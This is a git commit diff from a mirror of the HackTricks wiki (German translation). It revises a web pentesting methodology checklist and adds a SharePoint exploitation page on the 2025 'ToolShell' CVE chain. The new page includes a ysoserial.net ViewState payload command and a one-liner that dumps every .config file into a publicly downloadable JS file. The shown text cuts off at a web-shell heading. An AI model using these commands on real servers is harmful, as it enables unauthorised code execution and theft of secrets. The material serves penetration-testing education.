mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/README.md',
This commit is contained in:
parent
59c23b8ba3
commit
6d373ae330
@ -423,6 +423,7 @@
|
||||
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
|
||||
- [JSP](network-services-pentesting/pentesting-web/jsp.md)
|
||||
- [Laravel](network-services-pentesting/pentesting-web/laravel.md)
|
||||
- [Microsoft Sharepoint](network-services-pentesting/pentesting-web/microsoft-sharepoint.md)
|
||||
- [Moodle](network-services-pentesting/pentesting-web/moodle.md)
|
||||
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
|
||||
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
Der Webdienst ist der **häufigste und umfangreichste Dienst** und es gibt viele **verschiedene Arten von Schwachstellen**.
|
||||
|
||||
**Standardport:** 80 (HTTP), 443(HTTPS)
|
||||
**Standardport:** 80 (HTTP), 443 (HTTPS)
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
@ -27,17 +27,17 @@ web-api-pentesting.md
|
||||
|
||||
> In dieser Methodologie nehmen wir an, dass Sie eine Domain (oder Subdomain) angreifen werden und nur diese. Daher sollten Sie diese Methodologie auf jede entdeckte Domain, Subdomain oder IP mit unbestimmtem Webserver im Geltungsbereich anwenden.
|
||||
|
||||
- [ ] Beginnen Sie mit der **Identifizierung** der **Technologien**, die vom Webserver verwendet werden. Achten Sie auf **Tricks**, die Sie während des restlichen Tests im Hinterkopf behalten sollten, wenn Sie die Technologie erfolgreich identifizieren können.
|
||||
- [ ] Gibt es eine **bekannte Schwachstelle** der Version der Technologie?
|
||||
- [ ] Verwenden Sie eine **bekannte Technologie**? Gibt es einen **nützlichen Trick**, um mehr Informationen zu extrahieren?
|
||||
- [ ] Gibt es einen **spezialisierten Scanner**, den Sie ausführen können (wie wpscan)?
|
||||
- [ ] Beginnen Sie mit der **Identifizierung** der **Technologien**, die vom Webserver verwendet werden. Achten Sie auf **Tricks**, die Sie während des restlichen Tests im Hinterkopf behalten sollten, wenn Sie die Technik erfolgreich identifizieren können.
|
||||
- [ ] Gibt es **bekannte Schwachstellen** der Version der Technologie?
|
||||
- [ ] Verwenden Sie eine **bekannte Technik**? Gibt es einen **nützlichen Trick**, um mehr Informationen zu extrahieren?
|
||||
- [ ] Gibt es einen **spezialisierten Scanner**, den Sie ausführen sollten (wie wpscan)?
|
||||
- [ ] Starten Sie **Allzweck-Scanner**. Sie wissen nie, ob sie etwas finden oder ob sie interessante Informationen entdecken.
|
||||
- [ ] Beginnen Sie mit den **ersten Überprüfungen**: **robots**, **sitemap**, **404**-Fehler und **SSL/TLS-Scan** (wenn HTTPS).
|
||||
- [ ] Beginnen Sie mit dem **Spidering** der Webseite: Es ist Zeit, alle möglichen **Dateien, Ordner** und **Parameter zu finden, die verwendet werden.** Überprüfen Sie auch auf **besondere Funde**.
|
||||
- [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis während des Brute-Forcings oder Spiderings entdeckt wird, es gespidert werden sollte._
|
||||
- [ ] **Verzeichnis-Brute-Forcing**: Versuchen Sie, alle entdeckten Ordner zu brute-forcen, um nach neuen **Dateien** und **Verzeichnissen** zu suchen.
|
||||
- [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis während des Brute-Forcings oder Spiderings entdeckt wird, es brute-forced werden sollte._
|
||||
- [ ] **Backup-Überprüfung**: Testen Sie, ob Sie **Backups** von **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen.
|
||||
- [ ] **Backup-Überprüfung**: Testen Sie, ob Sie **Backups** der **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen.
|
||||
- [ ] **Brute-Force-Parameter**: Versuchen Sie, **versteckte Parameter** zu finden.
|
||||
- [ ] Sobald Sie alle möglichen **Endpunkte**, die **Benutzereingaben** akzeptieren, **identifiziert** haben, überprüfen Sie alle Arten von **Schwachstellen**, die damit verbunden sind.
|
||||
- [ ] [Befolgen Sie diese Checkliste](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
@ -64,7 +64,7 @@ Suche **nach** [**Schwachstellen der Webanwendung** **Version**](../../generic-h
|
||||
|
||||
### Web-Technik-Tricks
|
||||
|
||||
Einige **Tricks** zum **finden von Schwachstellen** in verschiedenen bekannten **Technologien**:
|
||||
Einige **Tricks** zum **finden von Schwachstellen** in verschiedenen bekannten **Technologien**, die verwendet werden:
|
||||
|
||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
- [**Apache**](apache.md)
|
||||
@ -78,6 +78,7 @@ Einige **Tricks** zum **finden von Schwachstellen** in verschiedenen bekannten *
|
||||
- [**GraphQL**](graphql.md)
|
||||
- [**H2 - Java SQL-Datenbank**](h2-java-sql-database.md)
|
||||
- [**IIS-Tricks**](iis-internet-information-services.md)
|
||||
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
|
||||
- [**JBOSS**](jboss.md)
|
||||
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
|
||||
- [**Jira**](jira.md)
|
||||
@ -86,7 +87,7 @@ Einige **Tricks** zum **finden von Schwachstellen** in verschiedenen bekannten *
|
||||
- [**Laravel**](laravel.md)
|
||||
- [**Moodle**](moodle.md)
|
||||
- [**Nginx**](nginx.md)
|
||||
- [**PHP (php hat viele interessante Tricks, die ausgenutzt werden könnten)**](php-tricks-esp/index.html)
|
||||
- [**PHP (PHP hat viele interessante Tricks, die ausgenutzt werden könnten)**](php-tricks-esp/index.html)
|
||||
- [**Python**](python.md)
|
||||
- [**Spring Actuators**](spring-actuators.md)
|
||||
- [**Symphony**](symphony.md)
|
||||
@ -105,7 +106,7 @@ Wenn die Webanwendung eine bekannte **Technologie/Plattform aus der Liste oben**
|
||||
|
||||
Wenn der **Quellcode** der Anwendung in **github** verfügbar ist, gibt es neben der Durchführung eines **White-Box-Tests** der Anwendung **einige Informationen**, die für das aktuelle **Black-Box-Testing** **nützlich** sein könnten:
|
||||
|
||||
- Gibt es eine **Änderungsprotokoll- oder Readme- oder Versionsdatei** oder etwas mit **Versionsinformationen, das über das Web zugänglich ist**?
|
||||
- Gibt es eine **Änderungsprotokoll- oder Readme- oder Versionsdatei** oder irgendetwas mit **Versionsinformationen, das über das Web zugänglich ist**?
|
||||
- Wie und wo werden die **Anmeldeinformationen** gespeichert? Gibt es eine (zugängliche?) **Datei** mit Anmeldeinformationen (Benutzernamen oder Passwörtern)?
|
||||
- Sind **Passwörter** im **Klartext**, **verschlüsselt** oder welcher **Hash-Algorithmus** wird verwendet?
|
||||
- Wird ein **Master-Schlüssel** zur Verschlüsselung von etwas verwendet? Welcher **Algorithmus** wird verwendet?
|
||||
@ -145,7 +146,7 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> An diesem Punkt sollten Sie bereits einige Informationen über den vom Client verwendeten Webserver haben (sofern Daten bereitgestellt werden) und einige Tricks, die Sie während des Tests im Hinterkopf behalten sollten. Wenn Sie Glück haben, haben Sie sogar ein CMS gefunden und einen Scanner ausgeführt.
|
||||
> An diesem Punkt solltest du bereits einige Informationen über den vom Client verwendeten Webserver haben (sofern Daten bereitgestellt werden) und einige Tricks im Hinterkopf behalten, die während des Tests nützlich sein können. Wenn du Glück hast, hast du sogar ein CMS gefunden und einen Scanner ausgeführt.
|
||||
|
||||
## Schritt-für-Schritt-Webanwendungsentdeckung
|
||||
|
||||
@ -160,30 +161,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
- /crossdomain.xml
|
||||
- /clientaccesspolicy.xml
|
||||
- /.well-known/
|
||||
- Überprüfen Sie auch Kommentare auf den Haupt- und Unterseiten.
|
||||
- Überprüfe auch Kommentare auf den Haupt- und Unterseiten.
|
||||
|
||||
**Fehler erzwingen**
|
||||
|
||||
Webserver können **unerwartet reagieren**, wenn seltsame Daten an sie gesendet werden. Dies kann **Schwachstellen** oder **Offenlegung sensibler Informationen** öffnen.
|
||||
Webserver können **unerwartet reagieren**, wenn seltsame Daten an sie gesendet werden. Dies kann **Schwachstellen** oder **die Offenlegung sensibler Informationen** öffnen.
|
||||
|
||||
- Greifen Sie auf **falsche Seiten** wie /whatever_fake.php (.aspx, .html, usw.) zu
|
||||
- **Fügen Sie "\[]", "]]" und "\[\["** in **Cookie-Werte** und **Parameterwerte** ein, um Fehler zu erzeugen
|
||||
- Generieren Sie einen Fehler, indem Sie als Eingabe **`/~randomthing/%s`** am **Ende** der **URL** angeben
|
||||
- Versuchen Sie **verschiedene HTTP-Methoden** wie PATCH, DEBUG oder falsche wie FAKE
|
||||
- Greife auf **falsche Seiten** wie /whatever_fake.php (.aspx, .html, usw.) zu
|
||||
- **Füge "\[]", "]]" und "\[\["** in **Cookie-Werte** und **Parameterwerte** ein, um Fehler zu erzeugen
|
||||
- Erzeuge einen Fehler, indem du als Eingabe **`/~randomthing/%s`** am **Ende** der **URL** angibst
|
||||
- Probiere **verschiedene HTTP-Methoden** wie PATCH, DEBUG oder falsche wie FAKE
|
||||
|
||||
#### **Überprüfen Sie, ob Sie Dateien hochladen können (**[**PUT-Verb, WebDav**](put-method-webdav.md)**)**
|
||||
#### **Überprüfe, ob du Dateien hochladen kannst (**[**PUT-Verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Wenn Sie feststellen, dass **WebDav** **aktiviert** ist, Sie jedoch nicht über ausreichende Berechtigungen zum **Hochladen von Dateien** im Stammordner verfügen, versuchen Sie:
|
||||
Wenn du feststellst, dass **WebDav** **aktiviert** ist, du aber nicht genügend Berechtigungen zum **Hochladen von Dateien** im Stammordner hast, versuche:
|
||||
|
||||
- **Brute Force**-Anmeldeinformationen
|
||||
- **Dateien** über WebDav in die **restlichen** **gefundenen Ordner** innerhalb der Webseite hochzuladen. Möglicherweise haben Sie Berechtigungen, um Dateien in anderen Ordnern hochzuladen.
|
||||
- **Dateien** über WebDav in die **restlichen** **gefundenen Ordner** innerhalb der Webseite hochzuladen. Möglicherweise hast du Berechtigungen, um Dateien in anderen Ordnern hochzuladen.
|
||||
|
||||
### **SSL/TLS-Schwachstellen**
|
||||
|
||||
- Wenn die Anwendung **den Benutzer nicht zwingt, HTTPS** zu verwenden, ist sie **anfällig für MitM**
|
||||
- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP** sendet, ist das eine hohe Schwachstelle.
|
||||
|
||||
Verwenden Sie [**testssl.sh**](https://github.com/drwetter/testssl.sh), um nach **Schwachstellen** zu suchen (In Bug-Bounty-Programmen werden solche Schwachstellen wahrscheinlich nicht akzeptiert) und verwenden Sie [**a2sv**](https://github.com/hahwul/a2sv), um die Schwachstellen erneut zu überprüfen:
|
||||
Verwende [**testssl.sh**](https://github.com/drwetter/testssl.sh), um nach **Schwachstellen** zu suchen (in Bug-Bounty-Programmen werden solche Schwachstellen wahrscheinlich nicht akzeptiert), und verwende [**a2sv**](https://github.com/hahwul/a2sv), um die Schwachstellen erneut zu überprüfen:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -192,14 +193,14 @@ Verwenden Sie [**testssl.sh**](https://github.com/drwetter/testssl.sh), um nach
|
||||
sslscan <host:port>
|
||||
sslyze --regular <ip:port>
|
||||
```
|
||||
Informationen über SSL/TLS-Sicherheitsanfälligkeiten:
|
||||
Informationen zu SSL/TLS-Schwachstellen:
|
||||
|
||||
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
||||
### Spidering
|
||||
|
||||
Starten Sie eine Art von **Spider** im Web. Das Ziel des Spiders ist es, **so viele Pfade wie möglich** aus der getesteten Anwendung zu **finden**. Daher sollten Web-Crawling und externe Quellen verwendet werden, um so viele gültige Pfade wie möglich zu finden.
|
||||
Starten Sie eine Art **Spider** im Web. Das Ziel des Spiders ist es, **so viele Pfade wie möglich** aus der getesteten Anwendung zu **finden**. Daher sollten Web-Crawling und externe Quellen verwendet werden, um so viele gültige Pfade wie möglich zu finden.
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML-Spider, LinkFinder in JS-Dateien und externen Quellen (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML-Spider, mit LinkFinder für JS-Dateien und Archive.org als externe Quelle.
|
||||
@ -221,12 +222,12 @@ Starten Sie eine Art von **Spider** im Web. Das Ziel des Spiders ist es, **so vi
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Eine Burp-Erweiterung, um Pfade und Parameter in JS-Dateien zu finden.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das die .js.map-URL verwendet, um den beautifizierten JS-Code zu erhalten.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dies ist ein Tool, das verwendet wird, um Endpunkte für ein bestimmtes Ziel zu entdecken.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Entdecken Sie Links von der Wayback-Maschine (auch die Antworten in der Wayback herunterladen und nach weiteren Links suchen).
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Entdecken Sie Links aus der Wayback-Maschine (auch Antworten im Wayback herunterladen und nach weiteren Links suchen).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlen (auch durch Ausfüllen von Formularen) und auch sensible Informationen mit spezifischen Regexen finden.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortschrittlicher, multifunktionaler GUI-Websicherheits-Crawler/Spider, der für Cybersicherheitsprofis entwickelt wurde.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es ist ein Go-Paket und [Befehlszeilentool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, Geheimnissen und anderen interessanten Daten aus JavaScript-Quellcode.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite-Erweiterung**, um **Parameter und Endpunkte** aus der Anfrage zu extrahieren, um benutzerdefinierte Wortlisten für Fuzzing und Enumeration zu erstellen.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Großartiges Tool dafür.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Tolle Tool dafür.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Druckt jeden Link, den es finden kann.
|
||||
|
||||
### Brute Force-Verzeichnisse und -Dateien
|
||||
@ -264,7 +265,7 @@ Tools:
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Beachten Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings ein neues Verzeichnis entdeckt wird, es brute-forced werden sollte._
|
||||
_Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis während des Brute-Forcings oder Spiderings entdeckt wird, es brute-forced werden sollte._
|
||||
|
||||
### Was bei jeder gefundenen Datei zu überprüfen ist
|
||||
|
||||
@ -276,10 +277,10 @@ _Beachten Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Kommentare:** Überprüfen Sie die Kommentare aller Dateien, Sie können **Anmeldeinformationen** oder **versteckte Funktionen** finden.
|
||||
- Wenn Sie **CTF** spielen, ist ein "gewöhnlicher" Trick, **Informationen** in Kommentaren auf der **rechten** Seite der **Seite** zu **verstecken** (unter Verwendung von **Hunderte** von **Leerzeichen**, sodass Sie die Daten nicht sehen, wenn Sie den Quellcode mit dem Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **unteren** Ende der Webseite zu **verstecken**.
|
||||
- Wenn Sie **CTF** spielen, ist ein "gewöhnlicher" Trick, **Informationen** in Kommentaren auf der **rechten** Seite der **Seite** zu **verstecken** (indem Sie **Hunderte** von **Leerzeichen** verwenden, sodass Sie die Daten nicht sehen, wenn Sie den Quellcode im Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **unteren** Ende der Webseite zu **verstecken**.
|
||||
- **API-Schlüssel**: Wenn Sie **einen API-Schlüssel finden**, gibt es eine Anleitung, die angibt, wie man API-Schlüssel verschiedener Plattformen verwendet: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API-Schlüssel: Wenn Sie einen API-Schlüssel finden, der wie **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik aussieht, können Sie das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) verwenden, um zu überprüfen, auf welche APIs der Schlüssel zugreifen kann.
|
||||
- **S3-Buckets**: Überprüfen Sie beim Spidering, ob eine **Subdomain** oder ein **Link** mit einem **S3-Bucket** verbunden ist. In diesem Fall [**überprüfen** Sie die **Berechtigungen** des Buckets](buckets/index.html).
|
||||
- **S3-Buckets**: Achten Sie beim Spidering darauf, ob eine **Subdomain** oder ein **Link** mit einem **S3-Bucket** verbunden ist. In diesem Fall [**überprüfen** Sie die **Berechtigungen** des Buckets](buckets/index.html).
|
||||
|
||||
### Besondere Funde
|
||||
|
||||
@ -288,17 +289,17 @@ _Beachten Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings
|
||||
**Interessante Dateien**
|
||||
|
||||
- Suchen Sie nach **Links** zu anderen Dateien in den **CSS**-Dateien.
|
||||
- [Wenn Sie eine _**.git**_-Datei finden, können einige Informationen extrahiert werden](git.md).
|
||||
- [Wenn Sie eine _**.git**_-Datei finden, können einige Informationen extrahiert werden](git.md)
|
||||
- Wenn Sie eine _**.env**_-Datei finden, können Informationen wie API-Schlüssel, Datenbankpasswörter und andere Informationen gefunden werden.
|
||||
- Wenn Sie **API-Endpunkte** finden, [sollten Sie diese ebenfalls testen](web-api-pentesting.md). Diese sind keine Dateien, sehen aber wahrscheinlich "so aus".
|
||||
- **JS-Dateien**: Im Abschnitt Spidering wurden mehrere Tools erwähnt, die Pfade aus JS-Dateien extrahieren können. Es wäre auch interessant, **jede gefundene JS-Datei zu überwachen**, da in einigen Fällen eine Änderung darauf hindeuten kann, dass eine potenzielle Sicherheitsanfälligkeit im Code eingeführt wurde. Sie könnten beispielsweise [**JSMon**](https://github.com/robre/jsmon)** verwenden.**
|
||||
- Sie sollten auch entdeckte JS-Dateien mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole) überprüfen, um festzustellen, ob sie anfällig sind.
|
||||
- **JS-Dateien**: Im Abschnitt Spidering wurden mehrere Tools erwähnt, die Pfade aus JS-Dateien extrahieren können. Es wäre auch interessant, **jede gefundene JS-Datei zu überwachen**, da in einigen Fällen eine Änderung darauf hindeuten kann, dass eine potenzielle Schwachstelle im Code eingeführt wurde. Sie könnten beispielsweise [**JSMon**](https://github.com/robre/jsmon)** verwenden.**
|
||||
- Sie sollten auch entdeckte JS-Dateien mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole) überprüfen, um herauszufinden, ob sie anfällig sind.
|
||||
- **Javascript Deobfuscator und Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck-Deobfuskation** (JavaScript mit Zeichen:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- In mehreren Fällen müssen Sie die **regulären Ausdrücke** verstehen, die verwendet werden. Dies wird nützlich sein: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex).
|
||||
- Sie könnten auch die Dateien überwachen, in denen Formulare erkannt wurden, da eine Änderung im Parameter oder das Auftreten eines neuen Formulars auf eine potenziell neue anfällige Funktionalität hinweisen kann.
|
||||
- In mehreren Fällen müssen Sie die **regulären Ausdrücke** verstehen, die verwendet werden. Dies wird nützlich sein: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Sie könnten auch die Dateien überwachen, in denen Formulare erkannt wurden, da eine Änderung des Parameters oder das Auftauchen eines neuen Formulars auf eine potenziell neue anfällige Funktionalität hinweisen könnte.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (Umgehung)**
|
||||
|
||||
@ -308,7 +309,7 @@ _Beachten Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings
|
||||
|
||||
**502 Proxy-Fehler**
|
||||
|
||||
Wenn eine Seite mit diesem **Code** **antwortet**, handelt es sich wahrscheinlich um einen **schlecht konfigurierten Proxy**. **Wenn Sie eine HTTP-Anfrage wie: `GET https://google.com HTTP/1.1`** (mit dem Host-Header und anderen gängigen Headern) senden, wird der **Proxy** versuchen, auf _**google.com**_ **zuzugreifen**, und Sie haben eine **SSRF** gefunden.
|
||||
Wenn eine Seite mit diesem **Code** **antwortet**, handelt es sich wahrscheinlich um einen **schlecht konfigurierten Proxy**. **Wenn Sie eine HTTP-Anfrage wie: `GET https://google.com HTTP/1.1`** (mit dem Host-Header und anderen gängigen Headern) senden, wird der **Proxy** versuchen, auf _**google.com**_ zuzugreifen, und Sie haben eine **SSRF** gefunden.
|
||||
|
||||
**NTLM-Authentifizierung - Informationsoffenlegung**
|
||||
|
||||
@ -320,15 +321,15 @@ Sie können dies mit dem **nmap-Plugin** "_http-ntlm-info.nse_" **automatisieren
|
||||
|
||||
Es ist möglich, **Inhalte** in eine **Weiterleitung** einzufügen. Diese Inhalte **werden dem Benutzer nicht angezeigt** (da der Browser die Weiterleitung ausführt), aber es könnte etwas **versteckt** sein.
|
||||
|
||||
### Überprüfung von Web-Sicherheitsanfälligkeiten
|
||||
### Überprüfung von Web-Schwachstellen
|
||||
|
||||
Jetzt, da eine umfassende Enumeration der Webanwendung durchgeführt wurde, ist es an der Zeit, nach vielen möglichen Sicherheitsanfälligkeiten zu suchen. Sie finden die Checkliste hier:
|
||||
Jetzt, da eine umfassende Enumeration der Webanwendung durchgeführt wurde, ist es an der Zeit, nach vielen möglichen Schwachstellen zu suchen. Sie finden die Checkliste hier:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
Weitere Informationen zu Web-Sicherheitsanfälligkeiten finden Sie unter:
|
||||
Weitere Informationen zu Web-Schwachstellen finden Sie unter:
|
||||
|
||||
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
@ -336,7 +337,7 @@ Weitere Informationen zu Web-Sicherheitsanfälligkeiten finden Sie unter:
|
||||
|
||||
### Seiten auf Änderungen überwachen
|
||||
|
||||
Sie können Tools wie [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) verwenden, um Seiten auf Änderungen zu überwachen, die Sicherheitsanfälligkeiten einfügen könnten.
|
||||
Sie können Tools wie [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) verwenden, um Seiten auf Änderungen zu überwachen, die möglicherweise Schwachstellen einfügen könnten.
|
||||
|
||||
### HackTricks Automatische Befehle
|
||||
```
|
||||
|
@ -0,0 +1,126 @@
|
||||
# Microsoft SharePoint – Pentesting & Exploitation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Microsoft SharePoint (on-premises) basiert auf ASP.NET/IIS. Die meisten klassischen Web-Angriffsflächen (ViewState, Web.Config, Web-Shells usw.) sind daher vorhanden, aber SharePoint wird auch mit Hunderten von proprietären ASPX-Seiten und Webdiensten geliefert, die die exponierte Angriffsfläche erheblich vergrößern. Diese Seite sammelt praktische Tricks zur Enumeration, Ausnutzung und Persistenz in SharePoint-Umgebungen mit Schwerpunkt auf der 2025 veröffentlichten Exploit-Kette, die von Unit42 offengelegt wurde (CVE-2025-49704/49706/53770/53771).
|
||||
|
||||
## 1. Quick enumeration
|
||||
```
|
||||
# favicon hash and keywords
|
||||
curl -s https://<host>/_layouts/15/images/SharePointHome.png
|
||||
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
|
||||
|
||||
# version leakage (often in JS)
|
||||
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
|
||||
|
||||
# interesting standard paths
|
||||
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
|
||||
/_vti_bin/Lists.asmx # legacy SOAP service
|
||||
/_catalogs/masterpage/Forms/AllItems.aspx
|
||||
|
||||
# enumerate sites & site-collections (requires at least Anonymous)
|
||||
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
|
||||
```
|
||||
## 2. 2025 Exploit-Kette (a.k.a. “ToolShell”)
|
||||
|
||||
### 2.1 CVE-2025-49704 – Code-Injection auf ToolPane.aspx
|
||||
|
||||
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` ermöglicht das Injizieren von beliebigem *Server-Side Include* Code in die Seite, der später von ASP.NET kompiliert wird. Ein Angreifer kann C# einbetten, das `Process.Start()` ausführt und einen bösartigen ViewState ablegt.
|
||||
|
||||
### 2.2 CVE-2025-49706 – Unzureichende Authentifizierung Umgehung
|
||||
|
||||
Die gleiche Seite vertraut dem **X-Forms_BaseUrl** Header, um den Kontext der Seite zu bestimmen. Indem man ihn auf `/_layouts/15/` zeigt, kann die MFA/SSO, die an der Root-Seite durchgesetzt wird, **unauthentifiziert** umgangen werden.
|
||||
|
||||
### 2.3 CVE-2025-53770 – Unauthentifizierte ViewState Deserialisierung → RCE
|
||||
|
||||
Sobald der Angreifer ein Gadget in `ToolPane.aspx` kontrolliert, kann er einen **nicht signierten** (oder nur MAC) `__VIEWSTATE` Wert posten, der die .NET Deserialisierung innerhalb von *w3wp.exe* auslöst, was zu einer Codeausführung führt.
|
||||
|
||||
Wenn die Signierung aktiviert ist, stehlen Sie den **ValidationKey/DecryptionKey** aus einer beliebigen `web.config` (siehe 2.4) und fälschen Sie die Payload mit *ysoserial.net* oder *ysodom*:
|
||||
```
|
||||
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
|
||||
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
|
||||
```
|
||||
Für eine ausführliche Erklärung zum Missbrauch des ASP.NET ViewState lesen Sie:
|
||||
{{#ref}}
|
||||
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
|
||||
{{#endref}}
|
||||
|
||||
### 2.4 CVE-2025-53771 – Pfad Traversierung / web.config Offenlegung
|
||||
|
||||
Das Senden eines manipulierten `Source`-Parameters an `ToolPane.aspx` (z. B. `../../../../web.config`) gibt die angezielte Datei zurück, was die Offenlegung von ermöglicht:
|
||||
|
||||
* `<machineKey validationKey="…" decryptionKey="…">` ➜ ViewState / ASPXAUTH-Cookies fälschen
|
||||
* Verbindungszeichenfolgen & Geheimnisse.
|
||||
|
||||
## 3. Post-Exploitation-Rezepte, die in der Wildnis beobachtet wurden
|
||||
|
||||
### 3.1 Exfiltrieren Sie jede *.config*-Datei (Variation-1)
|
||||
```
|
||||
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
|
||||
```
|
||||
Die resultierende `debug_dev.js` kann anonym heruntergeladen werden und enthält **alle** sensiblen Konfigurationen.
|
||||
|
||||
### 3.2 Bereitstellung einer Base64-kodierten ASPX-Web-Shell (Variation-2)
|
||||
```
|
